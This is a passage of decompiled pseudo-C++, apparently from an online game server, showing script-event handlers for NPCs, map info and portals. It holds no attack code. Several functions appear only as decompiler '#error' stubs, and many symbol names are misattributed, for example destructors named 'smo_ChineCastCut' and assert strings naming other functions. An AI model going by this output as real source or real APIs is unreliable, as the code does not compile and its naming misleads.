*)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&tkn, ps); v17 = v10 != 0; v16 = 0; if ( v10 != 0 ) { v11 = PineScriptToken::pst_GetNumber(&tkn, 0); v12 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v11); if ( v12 != 0 ) { v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7176; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v12 + 1216))(v12, v13 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 126); LOBYTE(v22) = 2; ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&alchat, 1); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v22) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_7; } v16 = 0; v15 = "SendMapInMobInfoe::sa_Step : No npc"; } else { v15 = "SendMapInMobInfoe::sa_Step : no Player"; } AssertClass::ac_AssertFail(&shineassert, v15, v16); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_7: LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineWhoKillMe::sa_Step"); __security_check_cookie((unsigned int)&v17 ^ v21); return result; } //----- (004DD5A0) -------------------------------------------------------- #error "4DD5A0: undefined or illegal type '#593' (funcsize=126)" //----- (004DD790) -------------------------------------------------------- #error "4DD790: undefined or illegal type '#593' (funcsize=224)" //----- (004DDB00) -------------------------------------------------------- #error "4DDB00: undefined or illegal type '#593' (funcsize=246)" //----- (004DDF00) -------------------------------------------------------- #error "4DDF00: undefined or illegal type '#593' (funcsize=113)" //----- (004DE0D0) -------------------------------------------------------- #error "4DE0D0: undefined or illegal type '#593' (funcsize=135)" //----- (004DE2D0) -------------------------------------------------------- void __thiscall PineScriptTemporaryString::PineScriptTemporaryString(PineScriptTemporaryString *this) { PineScriptTemporaryString *v1; // ebp@1 int v2; // esi@1 signed int v3; // ebx@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x120u, 64, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->psts_Pointer = 0; v2 = (int)&v1->psts_Storage[0].ss_Index.n8_name[24]; v3 = 64; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; *(_DWORD *)(v2 - 12) = 0; *(_DWORD *)(v2 - 16) = 0; *(_DWORD *)(v2 - 20) = 0; *(_DWORD *)(v2 - 24) = 0; strncpy((char *)(v2 - 24), byte_635E1E, 0x20u); v2 += 288; --v3; } while ( v3 ); } //----- (004DE340) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "RegisterGTPortal", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::RegisterGTPortal::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 653038: using guessed type int (__stdcall *PineEventScriptNode__RegisterGTPortal___vftable_)(int tr); //----- (004DE3A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "SaveLinkto", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 653064: using guessed type int (__stdcall *PineEventScriptNode__SaveLinkto___vftable_)(int tr); //----- (004DE400) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "ClearSaveLinkto", 0, 0, 0); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ClearSaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 653088: using guessed type int (__stdcall *PineEventScriptNode__ClearSaveLinkto___vftable_)(int tr); //----- (004DE460) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "ID_Fail", 0, 0, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ID_Fail::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 6530B0: using guessed type int (__stdcall *PineEventScriptNode__ID_Fail___vftable_)(int tr); //----- (004DE4C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "SendMapInMobInfo", 0, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SendMapInMobInfo::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 6530D0: using guessed type int (__stdcall *PineEventScriptNode__SendMapInMobInfo___vftable_)(int tr); //----- (004DE520) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "NPCChatNoFacecut", 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::NPCChatNoFacecut::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 6530FC: using guessed type int (__stdcall *PineEventScriptNode__NPCChatNoFacecut___vftable_)(int tr); //----- (004DE580) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_653140, 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScinarioCodeParty::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 653128: using guessed type int (__stdcall *PineEventScriptNode__ScinarioCodeParty___vftable_)(int tr); //----- (004DE5E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_65316C, 1u, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::HasAbstate::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004DE640) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_653190, 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BroadcastCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004DE6A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, unk_6531B8, 0, 2, 2); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTRegisterNPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004DE700) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, unk_6531E0, 0, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTMobRegenKey::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004DE760) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652FAC: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTMobRegenKey____vftable_)(int tr); //----- (004DE770) -------------------------------------------------------- void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld) { AxialListObjectCollector *v3; // esi@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->aloc_LinkInform = lnkinf; v3->aloc_GuildRegNum = gld; v3->aloc_Compare = (char (__thiscall *)(AxialListObjectCollector *, #593 *))(gld != 0 ? (int)AxialListObjectCollector::ala_CompareGuild : 0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; } // 652EB4: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004DE7A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectCollect *v4; // edi@1 PineScriptToken *v5; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v6; // eax@1 int v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@3 int v9; // eax@3 int v10; // eax@4 PineEventScriptNode::Express *v11; // ecx@4 int v12; // eax@4 int v13; // eax@5 PineEventScriptNode::Express *v14; // ecx@5 int v15; // eax@5 char *v16; // eax@7 Name3 *v17; // eax@7 Name3 *v18; // edi@7 char *v19; // eax@8 unsigned __int16 v20; // ax@8 const char *v21; // eax@9 char *v22; // eax@9 Movie::Theater *v23; // ecx@10 unsigned __int16 result; // ax@12 int v25; // [sp+Ch] [bp-3ACh]@3 unsigned int gld; // [sp+20h] [bp-398h]@1 FunctionEntarance _; // [sp+24h] [bp-394h]@1 int x; // [sp+28h] [bp-390h]@4 int y; // [sp+2Ch] [bp-38Ch]@5 AxialListObjectCollector alchat; // [sp+30h] [bp-388h]@10 char lnkinf; // [sp+40h] [bp-378h]@10 char v32; // [sp+54h] [bp-364h]@9 char v33; // [sp+60h] [bp-358h]@9 char v34; // [sp+75h] [bp-343h]@9 char v35; // [sp+81h] [bp-337h]@9 int v36; // [sp+96h] [bp-322h]@9 int v37; // [sp+9Ah] [bp-31Eh]@9 PineScriptToken tkn; // [sp+A8h] [bp-310h]@3 PineScriptToken map; // [sp+1A8h] [bp-210h]@1 PineScriptToken flag; // [sp+2A8h] [bp-110h]@1 unsigned int v41; // [sp+3A8h] [bp-10h]@1 int v42; // [sp+3B4h] [bp-4h]@1 v4 = this; v41 = (unsigned int)&gld ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectCollect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectCollect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v42 = 0; PineScriptToken::pst_Clear(&flag); LOBYTE(v42) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v5); PineScriptToken::pst_Clear(&map); v6 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 2; v7 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v6->sa_Calculate)(&map, ps); gld = v7 != 0; if ( v7 != 0 ) { PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v42) = 3; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); gld = v9 != 0; v25 = 0; if ( v9 != 0 && (v10 = PineScriptToken::pst_GetNumber(&tkn, 0), v11 = v4->baseclass_0.os_Express[2], x = v10, v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), gld = v12 != 0, v25 = 0, v12 != 0) && (v13 = PineScriptToken::pst_GetNumber(&tkn, 0), v14 = v4->baseclass_0.os_Express[3], y = v13, v15 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), gld = v15 != 0, v25 = 0, v15 != 0) ) { gld = PineScriptToken::pst_GetNumber(&tkn, 0); MoveManager::MoveManager((DiceTaiSai *)&map); v17 = (Name3 *)FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v16); v18 = v17; if ( v17 ) { v19 = NameString::operator__(&namestring, v17); v20 = MapDataBox::mdb_2mapid(&mapdatabox, v19); if ( MapDataBox::operator__(&mapdatabox, v20) ) { MoveManager::MoveManager((DiceTaiSai *)&map); strncpy(&v32, v21, 0xCu); v22 = NameString::operator__(&namestring, v18); strncpy(&v34, v22, 0xCu); v35 = 0; v33 = 0; v36 = x; v37 = y; if ( PineScriptToken::operator__(&flag, index_guild.pst_Buffer) ) { AxialListObjectCollector::AxialListObjectCollector(&alchat, (NPCManager::LinkInformTemplete *)&lnkinf, gld); v23 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 4; Movie::Theater::t_AllInMap(v23, &alchat.baseclass_0); LOBYTE(v42) = 3; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alchat); } } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); v42 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v25); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } __security_check_cookie((unsigned int)&gld ^ v41); return result; } // 652EB4: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004DEB60) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004DEBB0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // ecx@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // si@1 ListIteratorDefault arg; // [sp+8h] [bp-14h]@1 int v13; // [sp+Ch] [bp-10h]@1 int v14; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &unk_63D200); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "InterruptClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)&ps->gap10114[4] + 66124; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v13 = v8; LOBYTE(v14) = 1; List::l_4AllInList((List *)v8, &arg); LOBYTE(v14) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v9 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v10 = v9; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); return v10; } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004DECD0) -------------------------------------------------------- #error "4DECD0: undefined or illegal type '#1265' (funcsize=379)" //----- (004DF280) -------------------------------------------------------- #error "4DF280: undefined or illegal type '#593' (funcsize=172)" //----- (004DF520) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #593 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = unk_65635C; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_65635C); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_65635C; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_656348); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 23); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineDoorBuild::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_65635C); return v11; } //----- (004DF650) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #593 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = unk_6563DC; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_6563DC); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_6563DC; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_6563C8); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 24); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineNPCStand::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_6563DC); return v11; } //----- (004DF780) -------------------------------------------------------- #error "4DF780: undefined or illegal type '#1265' (funcsize=176)" //----- (004DFA20) -------------------------------------------------------- #error "4DFA20: undefined or illegal type '#593' (funcsize=34)" //----- (004DFA70) -------------------------------------------------------- #error "4DFA70: undefined or illegal type '#1265' (funcsize=135)" //----- (004DFC90) -------------------------------------------------------- #error "4DFC90: undefined or illegal type '#593' (funcsize=191)" //----- (004DFF40) -------------------------------------------------------- #error "4DFF40: undefined or illegal type '#593' (funcsize=136)" //----- (004E0170) -------------------------------------------------------- #error "4E0170: undefined or illegal type '#593' (funcsize=179)" //----- (004E0420) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::SaveLinkto *v4; // edi@1 const char *v5; // eax@5 const char *v6; // eax@7 Movie::Theater *v7; // ecx@9 void *v8; // eax@9 unsigned __int16 result; // ax@20 void *v10; // [sp-4h] [bp-1F8h]@13 int dwPosY; // [sp+10h] [bp-1E4h]@1 int dwPosX; // [sp+14h] [bp-1E0h]@3 FunctionEntarance _; // [sp+18h] [bp-1DCh]@1 char LinkClent; // [sp+1Ch] [bp-1D8h]@2 char *p; // [sp+20h] [bp-1D4h]@1 int v16; // [sp+30h] [bp-1C4h]@1 unsigned int v17; // [sp+34h] [bp-1C0h]@1 char LinkServer; // [sp+38h] [bp-1BCh]@1 char *v19; // [sp+3Ch] [bp-1B8h]@1 int v20; // [sp+4Ch] [bp-1A8h]@1 unsigned int v21; // [sp+50h] [bp-1A4h]@1 char LinkInfo; // [sp+54h] [bp-1A0h]@5 char v23; // [sp+68h] [bp-18Ch]@7 char v24; // [sp+89h] [bp-16Bh]@9 int v25; // [sp+AAh] [bp-14Ah]@9 int v26; // [sp+AEh] [bp-146h]@9 char v27; // [sp+B8h] [bp-13Ch]@5 PineEventScriptNode::ScriptParameterPaser paser; // [sp+BCh] [bp-138h]@1 unsigned int v29; // [sp+1E4h] [bp-10h]@1 int v30; // [sp+1F0h] [bp-4h]@1 v4 = this; v29 = (unsigned int)&dwPosY ^ __security_cookie; _.fe_FunctionCode = "SaveLinkto::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(&paser, v4->baseclass_0.baseclass_0.os_Express, ps); LOBYTE(v30) = 1; PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(&paser, "SaveLinkto::sa_Step"); v21 = 15; v20 = 0; LOBYTE(v19) = 0; v17 = 15; v16 = 0; LOBYTE(p) = 0; LOBYTE(v30) = 3; if ( 